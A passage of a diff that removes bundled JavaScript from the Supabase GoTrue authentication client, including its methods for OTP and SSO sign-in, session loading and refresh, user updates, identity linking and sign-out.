time. - * This method supports PKCE when an email is passed. - */ - async signInWithOtp(credentials) { - var _a, _b, _c, _d, _e; - try { - if ("email" in credentials) { - const { email, options } = credentials; - let codeChallenge = null; - let codeChallengeMethod = null; - if (this.flowType === "pkce") { - ; - [codeChallenge, codeChallengeMethod] = await getCodeChallengeAndMethod(this.storage, this.storageKey); - } - const { error } = await _request(this.fetch, "POST", `${this.url}/otp`, { - headers: this.headers, - body: { - email, - data: (_a = options === null || options === void 0 ? void 0 : options.data) !== null && _a !== void 0 ? _a : {}, - create_user: (_b = options === null || options === void 0 ? void 0 : options.shouldCreateUser) !== null && _b !== void 0 ? _b : true, - gotrue_meta_security: { captcha_token: options === null || options === void 0 ? void 0 : options.captchaToken }, - code_challenge: codeChallenge, - code_challenge_method: codeChallengeMethod - }, - redirectTo: options === null || options === void 0 ? void 0 : options.emailRedirectTo - }); - return { data: { user: null, session: null }, error }; - } - if ("phone" in credentials) { - const { phone, options } = credentials; - const { data, error } = await _request(this.fetch, "POST", `${this.url}/otp`, { - headers: this.headers, - body: { - phone, - data: (_c = options === null || options === void 0 ? void 0 : options.data) !== null && _c !== void 0 ? _c : {}, - create_user: (_d = options === null || options === void 0 ? void 0 : options.shouldCreateUser) !== null && _d !== void 0 ? _d : true, - gotrue_meta_security: { captcha_token: options === null || options === void 0 ? void 0 : options.captchaToken }, - channel: (_e = options === null || options === void 0 ? void 0 : options.channel) !== null && _e !== void 0 ? _e : "sms" - } - }); - return { data: { user: null, session: null, messageId: data === null || data === void 0 ? void 0 : data.message_id }, error }; - } - throw new AuthInvalidCredentialsError("You must provide either an email or phone number."); - } catch (error) { - if (isAuthError(error)) { - return { data: { user: null, session: null }, error }; - } - throw error; - } - } - /** - * Log in a user given a User supplied OTP or TokenHash received through mobile or email. - */ - async verifyOtp(params) { - var _a, _b; - try { - let redirectTo = void 0; - let captchaToken = void 0; - if ("options" in params) { - redirectTo = (_a = params.options) === null || _a === void 0 ? void 0 : _a.redirectTo; - captchaToken = (_b = params.options) === null || _b === void 0 ? void 0 : _b.captchaToken; - } - const { data, error } = await _request(this.fetch, "POST", `${this.url}/verify`, { - headers: this.headers, - body: Object.assign(Object.assign({}, params), { gotrue_meta_security: { captcha_token: captchaToken } }), - redirectTo, - xform: _sessionResponse - }); - if (error) { - throw error; - } - if (!data) { - throw new Error("An error occurred on token verification."); - } - const session = data.session; - const user = data.user; - if (session === null || session === void 0 ? void 0 : session.access_token) { - await this._saveSession(session); - await this._notifyAllSubscribers(params.type == "recovery" ? "PASSWORD_RECOVERY" : "SIGNED_IN", session); - } - return { data: { user, session }, error: null }; - } catch (error) { - if (isAuthError(error)) { - return { data: { user: null, session: null }, error }; - } - throw error; - } - } - /** - * Attempts a single-sign on using an enterprise Identity Provider. A - * successful SSO attempt will redirect the current page to the identity - * provider authorization page. The redirect URL is implementation and SSO - * protocol specific. - * - * You can use it by providing a SSO domain. Typically you can extract this - * domain by asking users for their email address. If this domain is - * registered on the Auth instance the redirect will use that organization's - * currently active SSO Identity Provider for the login. - * - * If you have built an organization-specific login page, you can use the - * organization's SSO Identity Provider UUID directly instead. - */ - async signInWithSSO(params) { - var _a, _b, _c; - try { - let codeChallenge = null; - let codeChallengeMethod = null; - if (this.flowType === "pkce") { - ; - [codeChallenge, codeChallengeMethod] = await getCodeChallengeAndMethod(this.storage, this.storageKey); - } - return await _request(this.fetch, "POST", `${this.url}/sso`, { - body: Object.assign(Object.assign(Object.assign(Object.assign(Object.assign({}, "providerId" in params ? { provider_id: params.providerId } : null), "domain" in params ? { domain: params.domain } : null), { redirect_to: (_b = (_a = params.options) === null || _a === void 0 ? void 0 : _a.redirectTo) !== null && _b !== void 0 ? _b : void 0 }), ((_c = params === null || params === void 0 ? void 0 : params.options) === null || _c === void 0 ? void 0 : _c.captchaToken) ? { gotrue_meta_security: { captcha_token: params.options.captchaToken } } : null), { skip_http_redirect: true, code_challenge: codeChallenge, code_challenge_method: codeChallengeMethod }), - headers: this.headers, - xform: _ssoResponse - }); - } catch (error) { - if (isAuthError(error)) { - return { data: null, error }; - } - throw error; - } - } - /** - * Sends a reauthentication OTP to the user's email or phone number. - * Requires the user to be signed-in. - */ - async reauthenticate() { - await this.initializePromise; - return await this._acquireLock(-1, async () => { - return await this._reauthenticate(); - }); - } - async _reauthenticate() { - try { - return await this._useSession(async (result) => { - const { data: { session }, error: sessionError } = result; - if (sessionError) - throw sessionError; - if (!session) - throw new AuthSessionMissingError(); - const { error } = await _request(this.fetch, "GET", `${this.url}/reauthenticate`, { - headers: this.headers, - jwt: session.access_token - }); - return { data: { user: null, session: null }, error }; - }); - } catch (error) { - if (isAuthError(error)) { - return { data: { user: null, session: null }, error }; - } - throw error; - } - } - /** - * Resends an existing signup confirmation email, email change email, SMS OTP or phone change OTP. - */ - async resend(credentials) { - try { - const endpoint = `${this.url}/resend`; - if ("email" in credentials) { - const { email, type, options } = credentials; - const { error } = await _request(this.fetch, "POST", endpoint, { - headers: this.headers, - body: { - email, - type, - gotrue_meta_security: { captcha_token: options === null || options === void 0 ? void 0 : options.captchaToken } - }, - redirectTo: options === null || options === void 0 ? void 0 : options.emailRedirectTo - }); - return { data: { user: null, session: null }, error }; - } else if ("phone" in credentials) { - const { phone, type, options } = credentials; - const { data, error } = await _request(this.fetch, "POST", endpoint, { - headers: this.headers, - body: { - phone, - type, - gotrue_meta_security: { captcha_token: options === null || options === void 0 ? void 0 : options.captchaToken } - } - }); - return { data: { user: null, session: null, messageId: data === null || data === void 0 ? void 0 : data.message_id }, error }; - } - throw new AuthInvalidCredentialsError("You must provide either an email or phone number and a type"); - } catch (error) { - if (isAuthError(error)) { - return { data: { user: null, session: null }, error }; - } - throw error; - } - } - /** - * Returns the session, refreshing it if necessary. - * - * The session returned can be null if the session is not detected which can happen in the event a user is not signed-in or has logged out. - * - * **IMPORTANT:** This method loads values directly from the storage attached - * to the client. If that storage is based on request cookies for example, - * the values in it may not be authentic and therefore it's strongly advised - * against using this method and its results in such circumstances. A warning - * will be emitted if this is detected. Use {@link #getUser()} instead. - */ - async getSession() { - await this.initializePromise; - const result = await this._acquireLock(-1, async () => { - return this._useSession(async (result2) => { - return result2; - }); - }); - return result; - } - /** - * Acquires a global lock based on the storage key. - */ - async _acquireLock(acquireTimeout, fn) { - this._debug("#_acquireLock", "begin", acquireTimeout); - try { - if (this.lockAcquired) { - const last = this.pendingInLock.length ? this.pendingInLock[this.pendingInLock.length - 1] : Promise.resolve(); - const result = (async () => { - await last; - return await fn(); - })(); - this.pendingInLock.push((async () => { - try { - await result; - } catch (e) { - } - })()); - return result; - } - return await this.lock(`lock:${this.storageKey}`, acquireTimeout, async () => { - this._debug("#_acquireLock", "lock acquired for storage key", this.storageKey); - try { - this.lockAcquired = true; - const result = fn(); - this.pendingInLock.push((async () => { - try { - await result; - } catch (e) { - } - })()); - await result; - while (this.pendingInLock.length) { - const waitOn = [...this.pendingInLock]; - await Promise.all(waitOn); - this.pendingInLock.splice(0, waitOn.length); - } - return await result; - } finally { - this._debug("#_acquireLock", "lock released for storage key", this.storageKey); - this.lockAcquired = false; - } - }); - } finally { - this._debug("#_acquireLock", "end"); - } - } - /** - * Use instead of {@link #getSession} inside the library. It is - * semantically usually what you want, as getting a session involves some - * processing afterwards that requires only one client operating on the - * session at once across multiple tabs or processes. - */ - async _useSession(fn) { - this._debug("#_useSession", "begin"); - try { - const result = await this.__loadSession(); - return await fn(result); - } finally { - this._debug("#_useSession", "end"); - } - } - /** - * NEVER USE DIRECTLY! - * - * Always use {@link #_useSession}. - */ - async __loadSession() { - this._debug("#__loadSession()", "begin"); - if (!this.lockAcquired) { - this._debug("#__loadSession()", "used outside of an acquired lock!", new Error().stack); - } - try { - let currentSession = null; - const maybeSession = await getItemAsync(this.storage, this.storageKey); - this._debug("#getSession()", "session from storage", maybeSession); - if (maybeSession !== null) { - if (this._isValidSession(maybeSession)) { - currentSession = maybeSession; - } else { - this._debug("#getSession()", "session from storage is not valid"); - await this._removeSession(); - } - } - if (!currentSession) { - return { data: { session: null }, error: null }; - } - const hasExpired = currentSession.expires_at ? currentSession.expires_at <= Date.now() / 1e3 : false; - this._debug("#__loadSession()", `session has${hasExpired ? "" : " not"} expired`, "expires_at", currentSession.expires_at); - if (!hasExpired) { - if (this.storage.isServer) { - let suppressWarning = this.suppressGetSessionWarning; - const proxySession = new Proxy(currentSession, { - get: (target, prop, receiver) => { - if (!suppressWarning && prop === "user") { - console.warn("Using the user object as returned from supabase.auth.getSession() or from some supabase.auth.onAuthStateChange() events could be insecure! This value comes directly from the storage medium (usually cookies on the server) and many not be authentic. Use supabase.auth.getUser() instead which authenticates the data by contacting the Supabase Auth server."); - suppressWarning = true; - this.suppressGetSessionWarning = true; - } - return Reflect.get(target, prop, receiver); - } - }); - currentSession = proxySession; - } - return { data: { session: currentSession }, error: null }; - } - const { session, error } = await this._callRefreshToken(currentSession.refresh_token); - if (error) { - return { data: { session: null }, error }; - } - return { data: { session }, error: null }; - } finally { - this._debug("#__loadSession()", "end"); - } - } - /** - * Gets the current user details if there is an existing session. This method - * performs a network request to the Supabase Auth server, so the returned - * value is authentic and can be used to base authorization rules on. - * - * @param jwt Takes in an optional access token JWT. If no JWT is provided, the JWT from the current session is used. - */ - async getUser(jwt) { - if (jwt) { - return await this._getUser(jwt); - } - await this.initializePromise; - const result = await this._acquireLock(-1, async () => { - return await this._getUser(); - }); - return result; - } - async _getUser(jwt) { - try { - if (jwt) { - return await _request(this.fetch, "GET", `${this.url}/user`, { - headers: this.headers, - jwt, - xform: _userResponse - }); - } - return await this._useSession(async (result) => { - var _a, _b, _c; - const { data, error } = result; - if (error) { - throw error; - } - if (!((_a = data.session) === null || _a === void 0 ? void 0 : _a.access_token) && !this.hasCustomAuthorizationHeader) { - return { data: { user: null }, error: new AuthSessionMissingError() }; - } - return await _request(this.fetch, "GET", `${this.url}/user`, { - headers: this.headers, - jwt: (_c = (_b = data.session) === null || _b === void 0 ? void 0 : _b.access_token) !== null && _c !== void 0 ? _c : void 0, - xform: _userResponse - }); - }); - } catch (error) { - if (isAuthError(error)) { - return { data: { user: null }, error }; - } - throw error; - } - } - /** - * Updates user data for a logged in user. - */ - async updateUser(attributes, options = {}) { - await this.initializePromise; - return await this._acquireLock(-1, async () => { - return await this._updateUser(attributes, options); - }); - } - async _updateUser(attributes, options = {}) { - try { - return await this._useSession(async (result) => { - const { data: sessionData, error: sessionError } = result; - if (sessionError) { - throw sessionError; - } - if (!sessionData.session) { - throw new AuthSessionMissingError(); - } - const session = sessionData.session; - let codeChallenge = null; - let codeChallengeMethod = null; - if (this.flowType === "pkce" && attributes.email != null) { - ; - [codeChallenge, codeChallengeMethod] = await getCodeChallengeAndMethod(this.storage, this.storageKey); - } - const { data, error: userError } = await _request(this.fetch, "PUT", `${this.url}/user`, { - headers: this.headers, - redirectTo: options === null || options === void 0 ? void 0 : options.emailRedirectTo, - body: Object.assign(Object.assign({}, attributes), { code_challenge: codeChallenge, code_challenge_method: codeChallengeMethod }), - jwt: session.access_token, - xform: _userResponse - }); - if (userError) - throw userError; - session.user = data.user; - await this._saveSession(session); - await this._notifyAllSubscribers("USER_UPDATED", session); - return { data: { user: session.user }, error: null }; - }); - } catch (error) { - if (isAuthError(error)) { - return { data: { user: null }, error }; - } - throw error; - } - } - /** - * Decodes a JWT (without performing any validation). - */ - _decodeJWT(jwt) { - return decodeJWTPayload(jwt); - } - /** - * Sets the session data from the current session. If the current session is expired, setSession will take care of refreshing it to obtain a new session. - * If the refresh token or access token in the current session is invalid, an error will be thrown. - * @param currentSession The current session that minimally contains an access token and refresh token. - */ - async setSession(currentSession) { - await this.initializePromise; - return await this._acquireLock(-1, async () => { - return await this._setSession(currentSession); - }); - } - async _setSession(currentSession) { - try { - if (!currentSession.access_token || !currentSession.refresh_token) { - throw new AuthSessionMissingError(); - } - const timeNow = Date.now() / 1e3; - let expiresAt2 = timeNow; - let hasExpired = true; - let session = null; - const payload = decodeJWTPayload(currentSession.access_token); - if (payload.exp) { - expiresAt2 = payload.exp; - hasExpired = expiresAt2 <= timeNow; - } - if (hasExpired) { - const { session: refreshedSession, error } = await this._callRefreshToken(currentSession.refresh_token); - if (error) { - return { data: { user: null, session: null }, error }; - } - if (!refreshedSession) { - return { data: { user: null, session: null }, error: null }; - } - session = refreshedSession; - } else { - const { data, error } = await this._getUser(currentSession.access_token); - if (error) { - throw error; - } - session = { - access_token: currentSession.access_token, - refresh_token: currentSession.refresh_token, - user: data.user, - token_type: "bearer", - expires_in: expiresAt2 - timeNow, - expires_at: expiresAt2 - }; - await this._saveSession(session); - await this._notifyAllSubscribers("SIGNED_IN", session); - } - return { data: { user: session.user, session }, error: null }; - } catch (error) { - if (isAuthError(error)) { - return { data: { session: null, user: null }, error }; - } - throw error; - } - } - /** - * Returns a new session, regardless of expiry status. - * Takes in an optional current session. If not passed in, then refreshSession() will attempt to retrieve it from getSession(). - * If the current session's refresh token is invalid, an error will be thrown. - * @param currentSession The current session. If passed in, it must contain a refresh token. - */ - async refreshSession(currentSession) { - await this.initializePromise; - return await this._acquireLock(-1, async () => { - return await this._refreshSession(currentSession); - }); - } - async _refreshSession(currentSession) { - try { - return await this._useSession(async (result) => { - var _a; - if (!currentSession) { - const { data, error: error2 } = result; - if (error2) { - throw error2; - } - currentSession = (_a = data.session) !== null && _a !== void 0 ? _a : void 0; - } - if (!(currentSession === null || currentSession === void 0 ? void 0 : currentSession.refresh_token)) { - throw new AuthSessionMissingError(); - } - const { session, error } = await this._callRefreshToken(currentSession.refresh_token); - if (error) { - return { data: { user: null, session: null }, error }; - } - if (!session) { - return { data: { user: null, session: null }, error: null }; - } - return { data: { user: session.user, session }, error: null }; - }); - } catch (error) { - if (isAuthError(error)) { - return { data: { user: null, session: null }, error }; - } - throw error; - } - } - /** - * Gets the session data from a URL string - */ - async _getSessionFromURL(isPKCEFlow) { - try { - if (!isBrowser()) - throw new AuthImplicitGrantRedirectError("No browser detected."); - if (this.flowType === "implicit" && !this._isImplicitGrantFlow()) { - throw new AuthImplicitGrantRedirectError("Not a valid implicit grant flow url."); - } else if (this.flowType == "pkce" && !isPKCEFlow) { - throw new AuthPKCEGrantCodeExchangeError("Not a valid PKCE flow url."); - } - const params = parseParametersFromURL(window.location.href); - if (isPKCEFlow) { - if (!params.code) - throw new AuthPKCEGrantCodeExchangeError("No code detected."); - const { data: data2, error: error2 } = await this._exchangeCodeForSession(params.code); - if (error2) - throw error2; - const url = new URL(window.location.href); - url.searchParams.delete("code"); - window.history.replaceState(window.history.state, "", url.toString()); - return { data: { session: data2.session, redirectType: null }, error: null }; - } - if (params.error || params.error_description || params.error_code) { - throw new AuthImplicitGrantRedirectError(params.error_description || "Error in URL with unspecified error_description", { - error: params.error || "unspecified_error", - code: params.error_code || "unspecified_code" - }); - } - const { provider_token, provider_refresh_token, access_token, refresh_token, expires_in, expires_at, token_type } = params; - if (!access_token || !expires_in || !refresh_token || !token_type) { - throw new AuthImplicitGrantRedirectError("No session defined in URL"); - } - const timeNow = Math.round(Date.now() / 1e3); - const expiresIn = parseInt(expires_in); - let expiresAt2 = timeNow + expiresIn; - if (expires_at) { - expiresAt2 = parseInt(expires_at); - } - const actuallyExpiresIn = expiresAt2 - timeNow; - if (actuallyExpiresIn * 1e3 <= AUTO_REFRESH_TICK_DURATION) { - console.warn(`@supabase/gotrue-js: Session as retrieved from URL expires in ${actuallyExpiresIn}s, should have been closer to ${expiresIn}s`); - } - const issuedAt = expiresAt2 - expiresIn; - if (timeNow - issuedAt >= 120) { - console.warn("@supabase/gotrue-js: Session as retrieved from URL was issued over 120s ago, URL could be stale", issuedAt, expiresAt2, timeNow); - } else if (timeNow - issuedAt < 0) { - console.warn("@supabase/gotrue-js: Session as retrieved from URL was issued in the future? Check the device clok for skew", issuedAt, expiresAt2, timeNow); - } - const { data, error } = await this._getUser(access_token); - if (error) - throw error; - const session = { - provider_token, - provider_refresh_token, - access_token, - expires_in: expiresIn, - expires_at: expiresAt2, - refresh_token, - token_type, - user: data.user - }; - window.location.hash = ""; - this._debug("#_getSessionFromURL()", "clearing window.location.hash"); - return { data: { session, redirectType: params.type }, error: null }; - } catch (error) { - if (isAuthError(error)) { - return { data: { session: null, redirectType: null }, error }; - } - throw error; - } - } - /** - * Checks if the current URL contains parameters given by an implicit oauth grant flow (https://www.rfc-editor.org/rfc/rfc6749.html#section-4.2) - */ - _isImplicitGrantFlow() { - const params = parseParametersFromURL(window.location.href); - return !!(isBrowser() && (params.access_token || params.error_description)); - } - /** - * Checks if the current URL and backing storage contain parameters given by a PKCE flow - */ - async _isPKCEFlow() { - const params = parseParametersFromURL(window.location.href); - const currentStorageContent = await getItemAsync(this.storage, `${this.storageKey}-code-verifier`); - return !!(params.code && currentStorageContent); - } - /** - * Inside a browser context, `signOut()` will remove the logged in user from the browser session and log them out - removing all items from localstorage and then trigger a `"SIGNED_OUT"` event. - * - * For server-side management, you can revoke all refresh tokens for a user by passing a user's JWT through to `auth.api.signOut(JWT: string)`. - * There is no way to revoke a user's access token jwt until it expires. It is recommended to set a shorter expiry on the jwt for this reason. - * - * If using `others` scope, no `SIGNED_OUT` event is fired! - */ - async signOut(options = { scope: "global" }) { - await this.initializePromise; - return await this._acquireLock(-1, async () => { - return await this._signOut(options); - }); - } - async _signOut({ scope } = { scope: "global" }) { - return await this._useSession(async (result) => { - var _a; - const { data, error: sessionError } = result; - if (sessionError) { - return { error: sessionError }; - } - const accessToken = (_a = data.session) === null || _a === void 0 ? void 0 : _a.access_token; - if (accessToken) { - const { error } = await this.admin.signOut(accessToken, scope); - if (error) { - if (!(isAuthApiError(error) && (error.status === 404 || error.status === 401 || error.status === 403))) { - return { error }; - } - } - } - if (scope !== "others") { - await this._removeSession(); - await removeItemAsync(this.storage, `${this.storageKey}-code-verifier`); - await this._notifyAllSubscribers("SIGNED_OUT", null); - } - return { error: null }; - }); - } - /** - * Receive a notification every time an auth event happens. - * @param callback A callback function to be invoked when an auth event happens. - */ - onAuthStateChange(callback) { - const id3 = uuid(); - const subscription = { - id: id3, - callback, - unsubscribe: () => { - this._debug("#unsubscribe()", "state change callback with id removed", id3); - this.stateChangeEmitters.delete(id3); - } - }; - this._debug("#onAuthStateChange()", "registered callback with id", id3); - this.stateChangeEmitters.set(id3, subscription); - (async () => { - await this.initializePromise; - await this._acquireLock(-1, async () => { - this._emitInitialSession(id3); - }); - })(); - return { data: { subscription } }; - } - async _emitInitialSession(id3) { - return await this._useSession(async (result) => { - var _a, _b; - try { - const { data: { session }, error } = result; - if (error) - throw error; - await ((_a = this.stateChangeEmitters.get(id3)) === null || _a === void 0 ? void 0 : _a.callback("INITIAL_SESSION", session)); - this._debug("INITIAL_SESSION", "callback id", id3, "session", session); - } catch (err) { - await ((_b = this.stateChangeEmitters.get(id3)) === null || _b === void 0 ? void 0 : _b.callback("INITIAL_SESSION", null)); - this._debug("INITIAL_SESSION", "callback id", id3, "error", err); - console.error(err); - } - }); - } - /** - * Sends a password reset request to an email address. This method supports the PKCE flow. - * - * @param email The email address of the user. - * @param options.redirectTo The URL to send the user to after they click the password reset link. - * @param options.captchaToken Verification token received when the user completes the captcha on the site. - */ - async resetPasswordForEmail(email, options = {}) { - let codeChallenge = null; - let codeChallengeMethod = null; - if (this.flowType === "pkce") { - ; - [codeChallenge, codeChallengeMethod] = await getCodeChallengeAndMethod( - this.storage, - this.storageKey, - true - // isPasswordRecovery - ); - } - try { - return await _request(this.fetch, "POST", `${this.url}/recover`, { - body: { - email, - code_challenge: codeChallenge, - code_challenge_method: codeChallengeMethod, - gotrue_meta_security: { captcha_token: options.captchaToken } - }, - headers: this.headers, - redirectTo: options.redirectTo - }); - } catch (error) { - if (isAuthError(error)) { - return { data: null, error }; - } - throw error; - } - } - /** - * Gets all the identities linked to a user. - */ - async getUserIdentities() { - var _a; - try { - const { data, error } = await this.getUser(); - if (error) - throw error; - return { data: { identities: (_a = data.user.identities) !== null && _a !== void 0 ? _a : [] }, error: null }; - } catch (error) { - if (isAuthError(error)) { - return { data: null, error }; - } - throw error; - } - } - /** - * Links an oauth identity to an existing user. - * This method supports the PKCE flow. - */ - async linkIdentity(credentials) { - var _a; - try { - const { data, error } = await this._useSession(async (result) => { - var _a2, _b, _c, _d, _e; - const { data: data2, error: error2 } = result; - if (error2) - throw error2; - const url = await this._getUrlForProvider(`${this.url}/user/identities/authorize`, credentials.provider, { - redirectTo: (_a2 = credentials.options) === null || _a2 === void 0 ? void 0 : _a2.redirectTo, - scopes: (_b = credentials.options) === null || _b === void 0 ? void 0 : _b.scopes, - queryParams: (_c = credentials.options) === null || _c === void 0 ? void 0 : _c.queryParams, - skipBrowserRedirect: true - }); - return await _request(this.fetch, "GET", url, { - headers: this.headers, - jwt: (_e = (_d = data2.session) === null || _d === void 0 ? void 0 : _d.access_token) !== null && _e !== void 0 ? _e : void 0 - }); - }); - if (error) - throw error; - if (isBrowser() && !((_a = credentials.options) === null || _a === void 0 ? void 0 : _a.skipBrowserRedirect)) { - window.location.assign(data === null || data === void 0 ? void 0 : data.url); - } - return { data: { provider: credentials.provider, url: data === null || data === void 0 ? void 0 : data.url }, error: null }; - } catch (error) { - if (isAuthError(error)) { - return { data: { provider: credentials.provider, url: null }, error }; - } - throw error; - } - } - /** - * Unlinks an identity from a user by deleting it. The user will no longer be able to sign in with that identity once it's unlinked. - */ - async unlinkIdentity(identity) { - try { - return await this._useSession(async (result) => { - var _a, _b; - const { data, error } = result; - if (error) { - throw error; - } - return await _request(this.fetch, "DELETE", `${this.url}/user/identities/${identity.identity_id}`, { - headers: this.headers, - jwt: (_b = (_a = data.session) === null || _a === void 0 ? void 0 : _a.access_token) !== null && _b !== void 0 ? _b : void 0 - }); - }); - } catch (error) { - if (isAuthError(error)) { - return { data: null, error }; - } - throw error; - } - } - /** - * Generates a new JWT. - * @param refreshToken A valid refresh token that was returned on login. - */ - async _refreshAccessToken(refreshToken) { - const debugName = `#_refreshAccessToken(${refreshToken.substring(0, 5)}...)`; - this._debug(debugName, "begin"); - try { - const startedAt = Date.now(); - return await retryable(async (attempt) => { - if (attempt > 0) { - await sleep(200 * Math.pow(2, attempt - 1)); - } - this._debug(debugName, "refreshing attempt", attempt); - return await _request(this.fetch, "POST", `${this.url}/token?grant_type=refresh_token`, { - body: { refresh_token: refreshToken }, - headers: this.headers, - xform: _sessionResponse - }); - }, (attempt, error) => { - const nextBackOffInterval = 200 * Math.pow(2, attempt); - return error && isAuthRetryableFetchError(error) && // retryable only if the request can be sent before the backoff overflows the tick duration - Date.now() + nextBackOffInterval - startedAt < AUTO_REFRESH_TICK_DURATION; - }); - } catch (error) { - this._debug(debugName, "error", error); - if (isAuthError(error)) { - return { data: { session: null, user: null }, error }; - } - throw error; - } finally { - this._debug(debugName, "end"); - } - } - _isValidSession(maybeSession) { - const isValidSession = typeof maybeSession === "object" && maybeSession !== null && "access_token" in maybeSession && "refresh_token" in maybeSession && "expires_at" in maybeSession; - return isValidSession; - } - async _handleProviderSignIn(provider, options) { - const url = await this._getUrlForProvider(`${this.url}/authorize`, provider, { - redirectTo: options.redirectTo, - scopes: options.scopes, - queryParams: options.queryParams - }); - this._debug("#_handleProviderSignIn()", "provider", provider, "options", options, "url", url); - if (isBrowser() && !options.skipBrowserRedirect) { - window.location.assign(url); - } - return { data: { provider, url }, error: null }; - } - /** - * Recovers the session from LocalStorage and refreshes - * Note: this method is async to accommodate for AsyncStorage e.g. in React native. - */ - async _recoverAndRefresh() { - var _a; - const debugName = "#_recoverAndRefresh()"; - this._debug(debugName, "begin"); - try { - const currentSession = await getItemAsync(this.storage, this.storageKey); - this._debug(debugName, "session from storage", currentSession); - if (!this._isValidSession(currentSession)) { - this._debug(debugName, "session is not valid"); - if (currentSession !== null) { - await this._removeSession(); - } - return; - } - const timeNow = Math.round(Date.now() / 1e3); - const expiresWithMargin = ((_a = currentSession.expires_at) !== null && _a !== void 0 ? _a : Infinity) < timeNow + EXPIRY_MARGIN; - this._debug(debugName, `session has${expiresWithMargin ? "" : " not"} expired with margin of ${EXPIRY_MARGIN}s`); - if (expiresWithMargin) { - if (this.autoRefreshToken && currentSession.refresh_token) { - const { error } = await this._callRefreshToken(currentSession.refresh_token); - if (error) { - console.error(error); - if (!isAuthRetryableFetchError(error)) { - this._debug(debugName, "refresh failed with a non-retryable error, removing the session", error); - await this._removeSession(); - } - } - } - } else { - await this._notifyAllSubscribers("SIGNED_IN", currentSession); - } - } catch (err) { - this._debug(debugName, "error", err); - console.error(err); - return; - } finally { - this._debug(debugName, "end"); - } - } - async _callRefreshToken(refreshToken) { - var _a, _b; - if (!refreshToken) { - throw new AuthSessionMissingError(); - } - if (this.refreshingDeferred) { - return this.refreshingDeferred.promise; - } - const debugName = `#_callRefreshToken(${refreshToken.substring(0, 5)}...)`; - this._debug(debugName, "begin"); - try { - this.refreshingDeferred = new Deferred(); - const { data, error } = await this._refreshAccessToken(refreshToken); - if (error) - throw error; - if (!data.session) - throw new AuthSessionMissingError(); - await this._saveSession(data.session); - await this._notifyAllSubscribers("TOKEN_REFRESHED", data.session); - const result = { session: data.session, error: null }; - this.refreshingDeferred.resolve(result); - return result; - } catch (error) { - this._debug(debugName, "error", error); - if (isAuthError(error)) { - const result = { session: null, error }; - if (!isAuthRetryableFetchError(error)) { - await this._removeSession(); - await this._notifyAllSubscribers("SIGNED_OUT", null); - } - (_a = this.refreshingDeferred) === null || _a === void 0 ? void 0 : _a.resolve(result); - return result; - } - (_b = this.refreshingDeferred) === null || _b === void 0 ? void 0 : _b.reject(error); - throw error; - } finally { - this.refreshingDeferred = null; - this._debug(debugName, "end"); - } - } - async _notifyAllSubscribers(event, session, broadcast = true) { - const debugName = `#_notifyAllSubscribers(${event})`; - this._debug(debugName, "begin", session, `broadcast = ${broadcast}`); - try { - if (this.broadcastChannel && broadcast) { - this.broadcastChannel.postMessage({ event, session }); - } - const errors = []; - const promises = Array.from(this.stateChangeEmitters.values()).map(async (x) => { - try { - await x.callback(event, session); - } catch (e) { - errors.push(e); - } - }); - await Promise.all(promises); - if (errors.length > 0) { - for (let i = 0; i < errors.length; i += 1) { - console.error(errors[i]); - } - throw errors[0]; - } - } finally { - this._debug(debugName, "end"); - } - } - /** - * set currentSession and currentUser - * process to _startAutoRefreshToken if possible - */ - async _saveSession(session) { - this._debug("#_saveSession()", session); - this.suppressGetSessionWarning = true; - await setItemAsync(this.storage, this.storageKey, session); - } - async _removeSession() { - this._debug("#_removeSession()"); - await removeItemAsync(this.storage, this.storageKey); - } - /** - * Removes any registered visibilitychange callback. - * - * {@see #startAutoRefresh} - * {@see #stopAutoRefresh} - */ - _removeVisibilityChangedCallback() { - this._debug("#_removeVisibilityChangedCallback()"); - const callback = this.visibilityChangedCallback; - this.visibilityChangedCallback = null; - try { - if (callback && isBrowser() && (window === null || window === void 0 ? void 0 : window.removeEventListener)) { - window.removeEventListener("visibilitychange", callback); - } - } catch (e) { - console.error("removing visibilitychange callback failed", e); - } - } - /** - * This is the private implementation of {@link #startAutoRefresh}. Use this - * within the library. - */ - async _startAutoRefresh() { - await this._stopAutoRefresh(); - this._debug("#_startAutoRefresh()"); - const ticker = setInterval(() => this._autoRefreshTokenTick(), AUTO_REFRESH_TICK_DURATION); - this.autoRefreshTicker = ticker; - if (ticker && typeof ticker === "object" && typeof ticker.unref === "function") { - ticker.unref(); - } else if (typeof Deno !== "undefined" && typeof Deno.unrefTimer === "function") { - Deno.unrefTimer(ticker); - } - setTimeout(async () => { - await this.initializePromise; - await this._autoRefreshTokenTick(); - }, 0); - } - /** - * This is the private implementation of {@link #stopAutoRefresh}. Use this - * within the library. - */ - async _stopAutoRefresh() { - this._debug("#_stopAutoRefresh()"); - const ticker = this.autoRefreshTicker; - this.autoRefreshTicker = null; - if (ticker) { - clearInterval(ticker); - } - } - /** - * Starts an auto-refresh process in the background. The session is checked - * every few seconds. Close to the time of expiration a process is started to - * refresh the session. If refreshing fails it will be retried for as long as - * necessary. - * - * If you set the {@link GoTrueClientOptions#autoRefreshToken} you don't need - * to call this function, it will be called for you. - * - * On browsers the refresh process works only when the tab/window is in the - * foreground to conserve resources as well as prevent race conditions and - * flooding auth with requests. If you call this method any managed - * visibility change callback will be removed and you must manage visibility - * changes on your own. - * - * On non-browser platforms the refresh process works *continuously* in the - * background, which may not be desirable. You should hook into your - * platform's foreground indication mechanism and call these methods - * appropriately to conserve resources. - * - * {@see #stopAutoRefresh} - */ - async startAutoRefresh() { - this._removeVisibilityChangedCallback(); - await this._startAutoRefresh(); - } - /** - * Stops an active auto refresh process running in the background (if any). - * - * If you call this method any managed visibility change callback will be - * removed and you must manage visibility changes on your own. - * - * See {@link #startAutoRefresh} for more details. - */ - async stopAutoRefresh() { - this._removeVisibilityChangedCallback(); - await this._stopAutoRefresh(); - } - /** - * Runs the auto refresh token tick. - */ - async _autoRefreshTokenTick() { - this._debug("#_autoRefreshTokenTick()", "begin"); - try { - await this._acquireLock(0, async () => { - try { - const now2 = Date.now(); - try { - return await this._useSession(async (result) => { - const { data: { session } } = result; - if (!session || !session.refresh_token || !session.expires_at) { - this._debug("#_autoRefreshTokenTick()", "no session"); - return; - } - const expiresInTicks = Math.floor((session.expires_at * 1e3 - now2) / AUTO_REFRESH_TICK_DURATION); - this._debug("#_autoRefreshTokenTick()", `access token expires in ${expiresInTicks} ticks, a tick lasts ${AUTO_REFRESH_TICK_DURATION}ms, refresh threshold is ${AUTO_REFRESH_TICK_THRESHOLD} ticks`); - if (expiresInTicks <= AUTO_REFRESH_TICK_THRESHOLD) { - await this._callRefreshToken(session.refresh_token); - } - }); - } catch (e) { - console.error("Auto refresh tick failed with error. This is likely a transient error.", e); - } - } finally 